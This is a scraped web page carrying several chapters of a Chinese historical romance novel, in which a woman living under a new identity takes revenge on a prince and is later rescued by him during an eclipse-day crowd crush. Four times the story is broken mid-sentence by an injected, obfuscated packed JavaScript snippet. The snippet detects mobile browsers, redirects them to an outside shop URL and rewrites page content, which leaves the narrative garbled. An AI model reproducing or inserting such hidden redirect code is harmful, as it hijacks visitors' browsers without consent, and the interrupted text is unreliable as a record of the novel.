君琰:“在下的亡妻是一位平民女子,本王因为某些不得已的苦衷,没有给过她名分,也为了些别的原因,不得已娶了张家小姐为王妃。但在本王心里,那位平民女子才是唯一的妻子,沈小姐生的,便是像她……” “哦。但我怎么听说……那位平民女子在王府受尽欺凌、死得凄惨?” 外人看似无意的一问,却再次勾惹起了他沉痛的过往,君琰很半天都没有答话,沈月却也没做声。 很久之后她才说:“九爷莫非是因那位女子才拒绝了方才的美人?”说着她又笑了,“这就是您的不是了。人死不能复生,您又何必与自己为难?有道是‘人生得意须尽欢’,难道您以后都能不近女色了?” 君琰深吸一口气,看向她的目光慢慢冷了下来,“这似乎不是沈小姐该管的事。” 沈月柔柔一笑,“罪过,罪过,冒犯了。” “今夜的事本王不追究,但若还有下次,星月阁本王也不是开罪不起。”意识到自己已经深夜在这位小姐门前待了太久了,他留下这一句话,转身离去。 “小姐,您到底是想让他认出来,还是不想让他认出来?”君琰离开了,房门关了,静儿小声问道。 她本以为小姐是要乔装改扮、易容成另一个人的样子去见他,却没想到她只是略改了几分装扮,方才言语间又看似无意、实则有意地将话题往洛夭夭身上引。 “是与不是之间,是耶非耶?”沈月坐到梳妆台前,“我要让他怀疑,疑心到以为我是的时候,再告诉他不是,又在他已经死心了我不是的时候,给他一点希望让他以为是……” “小姐是要折磨他?”静儿仿佛是第一次认识她了一般,眼中有些讶色。她同情小姐的遭遇,亦对小姐眼前的模样感到些许陌生。 “比一直身处黑暗中更残忍的,是给了黑暗里的人一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699536|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束光,再亲手把光掐灭……现在,能予他光明的人是我,掐灭这光的人也只能是我。”她柔柔地笑着,“从前听说他因夭夭的死而发狂,我一直不信,可是今夜,我有一点信了。连凤仙楼的花魁都能拒绝,可见还是有几分招架之力的。如若对夭夭的念想是他现在很在意的东西,那我倒是很乐意把它撕碎了给他看,或是吊着他,让他像提线木偶般任我玩弄。” “小姐……” 她站了起来,眸中划过一丝狠戾,轻轻地道:“从前主宰我的人是他。我因他而笑,因他而哭,他给了我希望,又亲手把我推向绝望……现在,也该轮到我了。” 她让他开心,他才可以开心;反之,她要他痛苦,他就必须痛苦。他的喜悲忧乐都必须由她来施与,她就是要反过来成为他的主宰。 九公子怎么样,江湖魔头又怎么样?只要他是真心因洛夭夭的死而愧悔,她便是能拿住了他的软肋。 可是君琰又为什么会后悔呢? 她的眼中划过一丝茫然,让静儿先出去了,独自一人坐在窗边看着夜色。 他对她的一切不都是利用吗?与她相识是为了取血,后来又屠杀了云青山所有人,都已经对她做了这样残忍的一切,又为什么会在她死后悔不当初? 生死之间的变化,便足以令他后悔?他本是那样一个视性命如草芥的人,手起刀落,杀人不眨眼,对旁人的性命是如此,对自己的性命也差不离,于他而言,总有许多东西是比命更重要的。她的命没有了,便足以让他彻头彻尾地变了一个人么? ……可是,就算这是真的又怎么样?! 鲜红的指甲扎进了肉里。 君琰,就算你是真心后悔,你亏钱洛夭夭的、你对她做过的一切,都无法偿还。世间若有后悔药,相信地狱里也不会有那样多的怨灵,人世间也不会有那样多的意难平了。 ……夭夭,你变了。 她看着铜镜中沈月的脸庞。 从前的夭夭,是说什么也舍不得这样对君琰的啊。 或许,沈月的确已经不是洛夭夭了。 君琰彻夜未眠,脑中想着她。 他很清楚,那个人不是他的夭夭。 可是…… 清晨,天还未亮,他从腰间解下一个小香囊,里面装着夭夭那个玉坠的碎片…… “夭夭,我来江南了,是你长大的烟雨江南……” “你不在了,我便替你多看一看世间的风景,多看看你的家乡。” “昨天我遇到了一个和你长得很像的人……几乎是一模一样。可我心里知道,她不是你,也不能替代你。夭夭,我绝不会为了安慰自己去找谁来替代你的……” 他就这样对着那个装了碎玉片的小香囊说话,天很快就一点一点地亮了,周遭寂静,身后不知何时出现了一个人影,他一扭头,竟看见沈月正站在身后,一缕阳光照在她的身上。 “九爷起得真早。您在和谁说话呢?” 25. 交锋 他不自然地将那个香囊藏起来,看了她一眼。“沈小姐早。” 她见状也不多问了,笑道:“今天要带九爷去阁中看个东西,还请您不要带上下属随行。” “小姐所为可是阁主之意?” “自然。” 君琰笑意不达眼底,似是一眼看穿了对方的意图,直言点破:“若是星月阁都叫苦,恐怕天底下没有商户能出得起钱了。” “九爷误会了。”她说,“阁主只是想给您看一点真东西而已。” 这一年来她学了很多东西,也对星月阁了解了个十之八九,君琰此次南下来办之事,她亦清楚。但,星月阁答不答应出钱粮买田是一回事,让不让君琰舒服爽快是另一回事,现在松不松口全在她,她不会放过任何一个能报复他的机会。最好是让皇上知道他办事不利,如此他在皇上眼中便会日渐失去价值。同时,还要让他将朝中所有可能为友的人,都得罪个干净。 他允了她所请,没有带上属下跟随,孤身随她前去。 星月阁的楼很高,她举着烛台,带他去了地下室。 拐过一道又一道湾,她开启了墙上的机关,两人进入一间密室,他看到地上摆放着四个大箱子,上面还贴着封条。 沈月蹲下身,当着他的面,利落地将封条拆了。 他皱了皱眉,刚要开口,她已经拿出里头的东西来——那是一本账册。 “此等物品岂能轻易示人?”他觉得大为不妥,当即转身就要走,“还请沈小姐将东西还原,本王就当从没来过。” 沈月:“庆和七年四月,新丝上市,六月,浙江巡抚衙门、布政使衙门遵上谕,以全省税银购上等丝绸十万匹、中等丝绸二十万匹,解送工部;同年九月,两淮盐商向朝廷各衙门捐输白银一千万两,以作北方赈灾之用。” 君琰的脚步定住了! “庆和十七年三月,同西域商人商谈一千件上等瓷器交易,折合现银二百万两,悉数解送内廷司钥库……无需向户部入账。” “停!”他转过身,“不要念了。” 她放下了账簿。 星月阁什么都做,除了情报交易、杀人交易,其买卖还涉及丝绸、瓷器、盐等各个方面,在传闻中也是有着富可敌国之财,却没想到…… “九爷,您刚才也听见了。星月阁是很有钱不错,可花销也大,不说别的了,我们每年往宫里打点的银子就有千万辆之巨,这些年下来能勉力维持已经不错,就算阁主有几百座金山,也给掏空了呀。” 果然还是来诉苦的,他想。“即便这些是真,你们若都这样,其他大户就更是这样。” “九爷以为我给您看这些只是为了诉苦和推脱么?”她笑了笑,朝他走过来,“阁中机密都给您看了,您觉得我是为了什么?” 君琰看着她…… “实不相瞒,我们想交您这个朋友。”她的脸上挂着温和的笑容,“星月阁与黑布组织并立江湖多年,既是对手,也可以做朋友。” 君琰:“本王此番前来是为了朝廷。江湖上的事,自有江湖上的解法。” “干嘛要分得这么清楚?既能解决朝廷的事,又能做好江湖上的买卖,不是两全其美么?” 她笑意温柔,让他恍惚,朦胧间他总觉得她是在挖什么陷阱…… “星月阁手上的活钱不多,若要按市价买田,一时半会儿是当真拿不出这么多,可若是按照一般市价,星月阁还是可以勉强出价的。毕竟……事后还有人要分成,我们按市价去买,才能刚好落个不赚不赔。” 她方才与他念的东西,背后牵涉到朝中诸员……朝中贪腐竟已如此严重,他从前虽也知道,却没有去详细了解过,如今听她说来,才深知其中积弊已深。 “不会有人和你们分成的。”他的脸色沉得怕人,“至少这一次不会。你们就按照高于市价的价格去买,事后自有本王做主,绝不叫你们吃亏了。” 她露出讶色,“九爷此话可当真?” “自然。” “可是这很难办到。” “这就不用你管了。”他转过身,“准备好钱粮,等着买田就是。” 脑中头绪纷乱,一时间嗡嗡乱响……每一次皇上交给他什么任务,他就以雷霆手段去做了,几乎不考虑任务完成后给各方势力带来的影响——就像他上一次去云青山执行任务一样。 他现在忽然想到了这个问题——在知道了星月阁账册中的内容以后。 从前他从未考虑过这些。 自己喜欢这京中旋涡吗?不喜欢。 他是预备给新皇做完最后几件事,就归隐江湖去,就为他的夭夭遍踏山河看风景去…… 那么,在离开之前将朝臣全部得罪干净,似乎对他来说也没什么妨碍。江湖上他仇家遍地,多一个不多,少一个不少,朝堂上即便他做了什么,那些朝臣碍于他的身份也不敢对他怎样。星月阁这里的情况都是如此,朝廷贪腐之风可见一斑。断人财路又怎么样?天底下从来没有过让他九爷害怕的事情!除了……那一件。 “九公子。”沈月叫住了他。“公子方才所言,我代阁主谢过,只是此事万难办到,我们需要一份保证,请您现在和我立个字据,如此我们才敢按您的意思去做。” “好。”他转身走过来。 余光看见她身上的钗环珠宝在摇晃,不由觉得有些刺眼,顺嘴讽道:“星月阁被掏空了,阁主却还舍得为你花钱。听说沈小姐的衣服首饰就足足摆满了一百个房间。” 她并不生气,嫣然一笑:“当然,因为我是星月阁少阁主。门面还是要装点的。”顿了顿说:“我方才说的第二层意思九爷可有考虑?和我们,做朋友。” “阁主要结盟?”君琰嗤笑了一声,“不敢当。” ——这便是拒绝了。 “本王立了字据,你们也要给个期限。什么时候买田?” “这个,眼下还得从各处调钱粮来,不然总数是不够的。” “你得给我个期限,最多三天。” “三天?!三天才刚够文书往来的时间……” “五天不能再多。”他丝毫不退让,起身了。 “九公子,”她再次叫住了他。“您已经知道星月阁中秘密了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13722241|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。若您不愿结盟,我就得按阁中规矩来对待您……不过,您也还有另一种选择。” “说?” “和少阁主结盟——我。”她露出一个狡黠的笑容,“今日是我带你来的,只要我不说,没人会知道这件事。所以,你也可以选择和我结盟。” “你想要做什么?”他看着眼前这张和洛夭夭一样的脸,看着她带着几分诡异的笑容…… “我们都保证不将此事说出去,然后你要帮我一个忙,我也帮你的忙。”她笑着,“九爷不是说我长得像您的亡妻吗?您可以同我具体说说她是什么样子,我便在您需要慰藉的时候,扮演她来给您安慰,您可以当作她短暂地死而复生了,如何?” 君琰有些懵了,并未马上拒绝,只接着问:“那你的条件呢?” 她的眼神一瞬转为哀戚……“我喜欢上了一个人,但前段时间我们吵架了,我想要挽回他,想请你帮我。” 君琰顿时一副见了鬼的表情,“这种事情,本王能怎么帮你?” “对您来说很简单。他是个江湖人,您一定可以找到他的。”她说着取出了一张画像交到他手里,“只要您帮我这个忙,我可以随时扮演您的亡妻。” 君琰打开画像胡乱地看了看,收起来。 沈月眼中闪出光彩来:“九爷愿意答应我么?” 他看着眼前这个行为略有些古怪的女子…… “可是你代替不了她。无论多像,无论多像也代替不了。”他偏过头避开了她的眼神,避开那双和洛夭夭一样的眼睛,“我不能为满足自己的情绪就去找一个替身,将余生剩下的感情、财富都给这个替身,这样对夭夭不公平,来日等我下黄泉找到了她,她会生气的。” 沈月微微一怔,并未想到他会这样说。 “……王爷觉得一个死人会介意?若是她死前,已经恨透了你呢?” “无论是死是活、是爱是恨,她都是我唯一的妻子。”他这时才又看向了她:“无人可替。” 沈月眼中的神采慢慢消失了……“是吗?” “你的忙我可以帮,若此人当真是江湖人,我将他找来应该不难,但是你说的事……” “王爷,”姑娘声音婉转,向他走近了一步,“真的不想要吗?” 两人四目相对。 他的心忽然砰砰跳了起来,面上一阵热…… 该死,这个沈月为何偏同夭夭长得如此像? 可她毕竟不是她,她是沈因初的养女、星月阁少阁主沈月。 ……不,他不可以对别人动心,不可以因为一张相似的容颜就动了心,那是对夭夭的背叛。夭夭生前他没有好好对她,他总是凶她、总是骗她、总是让她伤心,现在她已经去冥界了,他得守住自己心里给她留下的那一方位置。 沈月有着和夭夭同样的脸蛋,却比夭夭更为艳丽。如果说夭夭是一朵纯白的栀子花,沈月就是丽如宝珠的玫瑰。 君琰再一次避开了她的目光,“本王不需要任何安慰!” 他有些狼狈地仓皇逃出…… 身后的沈月露出了凉凉的笑容。 26. 戏弄 她说的那个人倒不难找,只是此人本就是星月阁中人,因能刻意避开阁中人的寻找,怪不得她要让自己帮忙了。无殇把人带来的时候,君琰都不觉怔了一下。 此人身量矮小、其貌不扬,竟然是沈小姐的心上人么? 谁不知道沈月现在就和沈因初的亲生女儿无别?谁娶了她,便能拥有星月阁的财富与情报网。有这心思的人定不在少数,她竟就选了这么个人?眼光未免也太差了些。 虽然她给他念过账簿,让他知道如今星月阁的实力并不如表面上那般了,可是毕竟也名声在外,且瘦死的骆驼比马大,怎么说也不会差。 陆云:“公子,这人就是沈小姐要找的秦璐。” 君琰淡淡扫了来人一眼,那讶然的目光很快又被压了下去,吩咐:“送去星月阁吧。” * 沈月看着面前被绑来的男人。 “有劳九公子了。” 秦璐被五花大绑了跪在地上,大气也不敢出。 陆云也没多说话,行了一礼便走。 “啪!”还没出门就听见了身后摔杯子的声音,接着是沈小姐的哭骂声:“你这个没良心的!是不是打算躲我一辈子?!” 嘶……陆云赶紧加快了脚步离开。 等回了君琰处,便被问起星月阁那边的情况。 “沈小姐看起来,确实和那个秦璐情分不浅。” “……哦。”君琰喝了口茶,轻轻地皱了皱眉。一想到长着夭夭模样的人就要和那样一个其貌不扬的男子在一起,他就觉得心里堵得慌。 星月阁—— “啪。”一锭银子被拍在了桌上。 沈月看着跪在地上的男人:“起来吧,这是你的工钱。” ——同方才那副涕泗交流的模样绝然不同,只待陆云前脚一走,便像是完全换了一个人。 “谢谢小姐,谢谢小姐!”秦璐被松了绑,起身欢喜又害怕地拿了钱,乖乖站到一边。 “还得劳烦你明日和我一同出去。在外头记住自己的身份,你是本小姐的恋人。” “是,小姐!”秦璐满脸赔笑。 “知道司云公子为什么帮我选了你吗?” 秦璐露出疑惑的神情,“不知道。” 自己长得这般其貌不扬,说什么都与沈小姐不相配,到底为什么要找他帮忙演戏,他也着实想不明白。 “首先你是星月阁的人,其次你的相貌平凡得让我满意。”沈月露出笑容来,“这出戏还远未结束,你要一直演到娶我,懂?” “娶、娶小姐?!”秦璐一惊,即刻跪下来磕头:“小姐恕罪,奴才万万不敢亵渎小姐,万万不敢有这等心思啊!” “自然不是真娶,但你得以为是真娶。我的婚事,我自己说了算,阁主可是什么都依着我。”她站起来踱了几步,“陪本小姐把戏演够了,钱是少不了你的,风险也不必你来承担。” 秦璐这才露出笑容来,又重重地磕了个头,声音响亮道:“奴才,谢小姐赏!必不负小姐所托!” “下去吧。”她摆了摆手。 秦璐麻溜地滚了,这时从帘后走出一个人——是司云。 许久未见,他似乎更清减了些。 “阁主不在,你将我接过来玩,就不怕回头被阁主发现了要说你?” “先斩后奏他不会如何。”她给他倒了一壶茶,“司云哥哥,这是新鲜的兰雪茶,喝吧。” “果然是上品。”司云浅啜一口,微微一笑,“阁主应该待你很好吧?” “何止是好。”她说着,脸上却并没有太多悦色,“说是将我当做亲女儿也不过分,可我能感觉到他身上有秘密,不能让我知道的秘密……” “只要不会伤害到你,便无妨。”司云说,“想来他当初一并救下你我却让你我分开,也是因为知道你曾为往事神伤,不愿你再忆及往事触动心神,而我是你的旧人……我们太久未见,你给我传信,我不知道有多欢喜,你又让我帮忙找人,说景王到江南来了,我又开始担心。夭夭,你和我说实话,你要我找的这个秦璐,是不是为了拿去气他的?” “你的称呼该改改了,别在外人面前漏了陷。”她提醒道。 他微怔了一下,终是有些不自然地改了口:“沈小姐。” “沈月和洛夭夭在景王心里是两个人,至少目前来说是这样。我要这个人是为的什么你不必管,司云哥哥,你能帮我忙,我心里很感激。” “和我这样见外做什么?我只是担心,你忘不了旧事,就不能走向新的开始……” “我为什么要忘?!”她的语气一瞬肃然起来,“云青山所有人的血债,就这么算了?” “夭……沈月,我也是云青山的人之一,我的故友也在里面。可是这样的仇恨,如果我们一直去想,一直把自己困在里面,会很烦恼的,活下来的人应该忘记仇恨去开始新的生活……我从前认识的你是个洒脱淡然的姑娘,即便有什么烦恼,也不会因此束缚自己。” “可现在的我已经不是以前的我了。你与我经历不同,你不能懂我的恨。司云哥哥,你若是厌烦了现在的我,今天把话说清楚,我可以与你再无瓜葛,也不会再来寻求你的帮助。” “……我不是这个意思!”他不料她忽然把话说得如此决绝,一时也不知该如何辩解,“我只是希望你能多为自己想一想,放不下仇恨对你现在的生活并没有好处。” “你可以这样,”她看向他,“我不能。” 司云:“……” 过了好一会儿他才说:“好……如果劝不动你,我便陪你一起承担。你若要恨,我陪你一起恨,你若要爱,我也成全你……” 他说至此忽然打住了,欲言又止。喉头有些哽咽,他不知自己还在期待些什么。 小时候不知事,青梅竹马两小无猜,长大后她便与他疏远了些,之前又与江湖九公子一番爱恨纠葛,好不容易逃出来、变成了星月阁少阁主,她却还是放不下……她对他,也只有在需要帮助的时候才会想起。 他甚至希望自己是秦璐,这样至少还有和她演戏的机会。她现在不会和自己一起演戏,是因为司云是洛夭夭的旧人,他们若待在一起,景王必会发现她的真实身份。她现在还没玩够,还不想让对方这么快地发现真相。 说到底,她还是放不下他罢了,若是彻底遗忘,又怎会想方设法地要去捉弄?若是没有爱,又哪里来的恨? 司云不傻,他能看出她在想些什么……可是他不能置喙太多,担心这样会让她对自己越来越疏远。帮助她达成心中所愿,或是报仇,或是找人,这是他现在对她唯一的价值。 沈月仿佛一眼看穿了他,“从小时候起你就是这样,有什么难过的也不说,表面上装得像个没事人。你对我来说并非没有意义,私底下我还是叫你一声‘司云哥哥’,我们从小一起长大,你是我现在世上所剩唯一的亲人——因为被囚在王府,我们两个才幸免于云青山的那场灾难。” 司云的眼睛慢慢亮了起来……这么说,她对他,还是有温情在的啊。 “夭……沈小姐,在下明白了。” “我是需要你的帮助。”她深吸了口气,“但我不会让你卷得太深。这其中分寸,我会把握。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730171|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他瞬间又有些感动了,“可还需要我帮你做些什么吗?” “需要的时候我会叫你的。” “……好!那你要记得,无论什么时候,只要你需要,我随时都在。” 翌日沈月带着秦璐一起出门,来到清河边上。 运粮的船今天要在这里靠岸,君琰为了确保万无一失,必会来此查看。 今儿的太阳真好啊。 她抬头看了眼天空。 不远处渐渐出现了那个高大的身影…… 嚯。 她适时地挽住了秦璐的胳膊。 君琰走过来了,惊见沈月今日穿了一袭白裙,头上也没有半点钗环装饰…… 她的衣着颜色从来以艳丽者为多,甚少穿得如此素淡。这不像是沈月,倒更像是…… 洛夭夭的装扮! 夭夭常穿的白裙,夭夭披散两肩的素发,夭夭常用的茉莉花香。 君琰恍惚了…… “九爷也来啦,上回多谢您呐!”姑娘开口说话了,一瞬间又将他从幻想拉回现实中来,“我和秦郎已经和好如初了,准备等下个月阁主回来了大婚,到时你若还没走,请你一起吃酒啊!” “订婚?”他皱着眉——“和他?” 看这两个人的样子,一个美一个丑,怎么都不登对。 “不然还是跟谁?”沈月调皮地眨了眨眼睛。 “见过九爷。在下秦璐,得蒙沈小姐青眼,不胜感激,也要谢谢王爷上回派人将我抓来赎罪。在下同沈小姐两情相悦,预备下月大婚。” 君琰又是一怔。她方才眨眼睛的调皮劲儿,还有阳光下她微笑时露出的两个酒窝,和洛夭夭到底有什么区别?! 他的疑心又开始强烈地作祟了,一颗心跳得厉害,也疼得厉害,正要开口,她忽然抢先了问:“九爷今儿看本小姐的眼神怎么有些奇怪,是因为衣服吗?” 没等他答,她接着道——“秦郎说喜欢看我穿些素淡的颜色,我今儿这身,是特意为他穿的。” 君琰:“……” 秦璐陪着笑,“九爷怎么不说话?可是不想吃我们的喜酒?” 他的心思便被她一下子拉过去,一下子又拉回来,一下怀疑她就是他的夭夭,一下又认为她应该不是,就这样来回反复……强自压下心绪,他知道自己不能失态了惹人笑话,遂咬着牙露出一个笑容:“当然,先恭喜二位了。” ——一个比哭还难看的笑容。 沈月道:“九爷是来看粮船的吧?您来早啦,船得午后才到呢。既然碰上了,不如一起用个午膳?” 君琰正心思恍惚,模模糊糊地就答应了……但是很快他就后悔了。 ——三个人的饭桌! 他到底为什么要来?! 他得亲眼看着一个同夭夭一模一样的姑娘,与身旁一个其貌不扬的男子眉目传情、互相夹菜……他们似乎很忘乎所以,有时会忽略了他的存在,但下一瞬似乎又想起来了,陪着笑给他道歉,顺带还笑着让对方不要亲密得太过分。 虽然他一直提醒着自己面前的女子不是他死去的夭夭,可这般情景一直在眼前上演,仍不亚于对他的酷刑,因为沈月实在和洛夭夭长得太像了! ……有失礼法,有伤风化。 有失礼法,有伤风化!! 他在心里咬牙切齿地说着……忽然,沈月耳边听见“砰”地一声! ——是君琰。 他头一回把脸笑僵了,眼睛里却没有任何笑意,唯余森寒一片,右手紧握成拳,拳下的那一块桌板,悄无声息又轰轰烈烈地碎成了八片。 27. 相护 紧接着“哗啦啦”一阵响,碎掉的木桌片掉在了地上,原本不在桌沿的一碗菜顿时岌岌可危了。 “哎呀客官,您怎么,把小店的桌子给毁了!”店小二急急忙忙地赶过来。然而还没等他到跟前,君琰就左手一大锭银子“啪”地拍在了桌上。 店小二顿时眉开眼笑,“也用不了这么多,用不了这么多……”下一瞬便拿了银子猫着腰走了。 沈月和秦璐看着他。 君琰:“抱歉,失手。” 秦璐不敢耽搁,继续给沈月拿玫瑰酥吃。 “吃一个。”一个海棠酥也同时夹到了她碗边——是君琰。 “小姐,玫瑰酥更好吃。”秦璐冲她温柔地笑。 “先吃海棠酥。”君琰的脸上冷冷的甚至没有看她,语气更像是命令。 一个小碗,左边是玫瑰酥,右边是海棠酥,沈月看了眼左边的人,又看了眼右边的人,故作为难了一会儿,然后就着左边的玫瑰酥咬了下去。 君琰的脸显见地黑了……好像能吃了她。 她知道他此刻已经很不爽了,心中便愈发爽快。 秦璐脸上露出欣然的神情:“九爷,这就是您不懂了,沈小姐自然只吃在下递的。” 沈月:“九爷别生气,待我下回再与您一起品尝海棠酥。” “不必了。刚就是随便夹的,像这种甜口的东西,只有你们姑娘家才喜欢。”他放下筷子,“本王还有些事,失陪。” 他出了酒楼。 秦璐眼中欣然的神色一下子淡了下去…… 沈月没有再看他一眼,“小二,结账!” 出去时河边已经没有君琰的身影了,她看了眼河边,忽问:“还有半个时辰粮船就要靠岸了吧?” “是的,小姐。”秦璐恭恭敬敬地回道。 她皱了皱眉。 “小姐,怎么了?” “……你去通知下面的人,原计划作废。” “作废?!” “粮船要正常靠岸。还不快去?!” “……是!” 秦璐麻溜地走了,沈月一个人在河边踱步。 她原是想让粮食迟上几天,这样能让君琰煎熬,让他落个办事不利之名,可刚才忽然转念一想,送粮的迟了,耽误的并不只是君琰一个人的差事,还关乎上万百姓的生计,粮钱早到一刻,他们就能早一刻吃上饭……她也曾遭遇过灾荒,又岂能因现在锦衣玉食的生活而忘了从前所历之困苦?自己是要报仇,但只是要对君琰一人报仇,不该牵连到无辜的人,否则她和君琰这种魔头又有何区别呢?无论行何事,都不该失去原则和底线。 君琰心中一口气堵得慌,竟忘了自己是去干什么的,待回去之后才猛然想起,忽然觉得今天的种种情况都有些反常……按理说沈月不用亲自来的,但她竟然也在,碰巧遇着了自己,又去酒楼吃饭,说不准已经错过了粮船靠岸的时间!他今天之所以要亲自去,就是要亲自盯着那批粮船,以免有有心人做什么手脚——这种事他见得多了! 可是因刚才一时气堵,他竟就这么回来了! 他即刻又风风火火地出去…… 回到清河岸边时,刚好看到船只靠岸了,数百个人正搬着粮,沈月就在一边看着,周围还站着几名下属。 悬着的心这才放了下来,他平复了一下心绪,向她走过去。 沈月又恢复了星月阁少阁主的那般神色。小姐亲至,无人敢不尽心,搬粮的人有条不紊,卖力得很。 可她刚才实在太像洛夭夭了…… “九爷,您来了?事情办完了?”沈月笑着同他招呼。 “本王刚才来的时候看到有许多百姓都往这边赶……沈小姐可知是何缘故?” “哦?”这沈月倒没想到,“百姓?” 下属这时来报:“小姐,有许多人都往这边涌过来了!” 沈月:“这边正在搬粮呢,他们过来看什么热闹?” 君琰似乎想到了什么,脸色一沉,“不好!” “怎么了?”沈月还没反应过来。 天色忽然暗了下来,人群嘈杂的声音也几乎在同一时间向耳边涌来……乍然一下,天全黑了! ——是日全食! 她竟然……没有关注到今天会有日食。 君琰也是差点忘了,方才才想起来还有这件事…… “听说他们要把粮食全部倒进河里!” “真是太过分了!” “咱们去看看,一定要把粮食抢回来!” 耳边传来喧闹的人语声,只有这几句落进了耳朵里,沈月心下大感不妙,想要向下属吩咐些什么,可是天全黑了,看不见人,周围也吵嚷得不行,大声说话对方也听不见。人群潮水一般涌向了清水河边,正在搬粮的人全被冲乱了,还未靠岸的一部分船只也被打乱了阵脚…… “抢粮啊,抢粮啊!”——不知是谁在振臂一呼。 “趁着天黑多抢些!抢够了,咱们就不怕了!” “得罪了那些贵人横竖就是一死,我豁出去了也要给一家老小抢口饭吃!” 沈月听得心下一惊! 百姓们为何会这样想?什么把粮食扔进河里,什么抢粮……?他们是听了什么流言,或是受了什么人蛊惑?今天刚好又是日全食,场面已经乱起来了,这么多人挤在这里,要是再乱下去,后果将不堪设想! 日食,日食……一定是有人别有用心! 她刚跑出一步,脚跟前忽然被堵住了。视线内一片漆黑,一瞬间已经人挤着人,她就像一块压缩饼干一样,被左边的人挤过来,被右边的人挤过去,力气太小根本一步也迈不出…… “救,救命……”她感觉到了强烈的挤压,强力支撑着不让自己倒下去,耳边已传来了微弱的呼救声……是有的人倒在了地上,被慌乱的人群踩踏而过!可那点呼救声很快就被人群的吵嚷之声淹没,什么也听不见了…… 她的呼救声,也像那些人一样微弱…… “沈月!”忽然一个声音传来——这声音内力浑厚,穿过了人群鼎沸之声。 “谁,谁在叫我……”她身子已有些绵软。 “沈月,抓住我的手!”层层叠叠的人群中有一只手向她递了过来,她拼命地去抓,够了很久,碰了几回指尖,终于抓住了……那人将她的手紧紧握住! 耳边传来越来越多的惨叫声,她被人护进了怀中,能感受到这人正为她挡着人群的挤压,保持着屹立不倒的姿势,一寸一寸地,艰难破开一条道路…… 天光忽然一点一点地亮起来了…… 一寸一寸重新露出的太阳,在逐渐宣告这场日全食的结束。 她逐渐看清了眼前人的面庞…… 是君琰。 冲破人潮逆光而来的,是他。 天亮了,清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小姐不必担心,这件事星月阁是无辜的,想来过不了多久秦公子就会被放出来。再说,现在阁主不在,小姐是我们的主心骨,能为小姐分忧,是他之幸。”静儿见她回来后就闷闷不乐,便在一旁劝慰。 沈月没有说话。 星月阁是无辜的,她也迷途知返临时改了计划,可会不会是,之前的计划泄露了出去,让那幕后之人钻了空子,才有了此等流言的散布? ……但这也不对。原计划也只是延迟粮船靠岸时间,并不是要把粮米沉湖啊。 方才之惨景,让她想到了自己从前的经历……今天如果不是君琰,只怕自己已经重伤在榻了,而不是像现在这样毫发无损地坐在这里。 但他为什么要救她? 就为了这张和洛夭夭长得一样的脸? 既然如此,那洛夭夭“生前”,他为什么不善待她? 为什么偏要等到她“死”后来对她这么好? 为什么对“死去”的她可以舍身相救,却要杀了她的爹娘亲人? 沈月想不明白。 可自己方才的行为也不妥。九公子救了沈小姐,她理应表示感激,而不是代入洛夭夭的情绪。 叹了口气,手中的帕子被她绞成一团。“静儿,明天随我去探望九公子。” 28. 错过 君琰又梦见了洛夭夭。 梦里,他的夭夭还是从前的样子,一袭白衣,清浅微笑。她蹲在溪间石上,探头探脑地想要捉小鱼,裙摆弄湿了也浑不在乎…… 和沈月一模一样的脸、一模一样的笑靥。 他的夭夭如果还在,如果能被呵护着,应该就是沈月的模样吧?穿着漂亮的衣服,戴着好看的头饰,被左右人簇拥着,大方地笑着。 可,如果是夭夭,则不会在被他救了以后狠心推开他,更不会看见他受了伤,也一点不关心他的情况…… 夭夭,我想你了。 他在梦里伸手想要摸一摸她的裙摆。 刚要触到那白裙的那一瞬,天上星子一闪,白昼与黑夜一瞬交替,眼前的少女忽然消失了。 天亮了,沈月前来探病。 “劳烦公子进去通报一声,沈月……” “王爷病着还没醒,不见客。”站在门口的人直接打断,将她堵了回去,“小姐请回吧。” 此人身长八尺,手中抱着把长剑,她认得,这不是陆云么?从前在王府时也一句话不讲的人。他看上去似乎带着股无名火。 见她站着没走,对方又道:“王爷这一病,知道的不知道的人都来探,所安之心也各不相同,若是人人都能进来,这儿的门槛也要给踏破了。小姐好意王爷心领,还请您马上回去。” “他情况还好吗?”昨日她只看到他受伤,后来他们就分开了,她还是想知道他现在的情况。 陆云没再答话,也没看她,长剑在怀,跟门神似的杵在门口,板着一张脸。 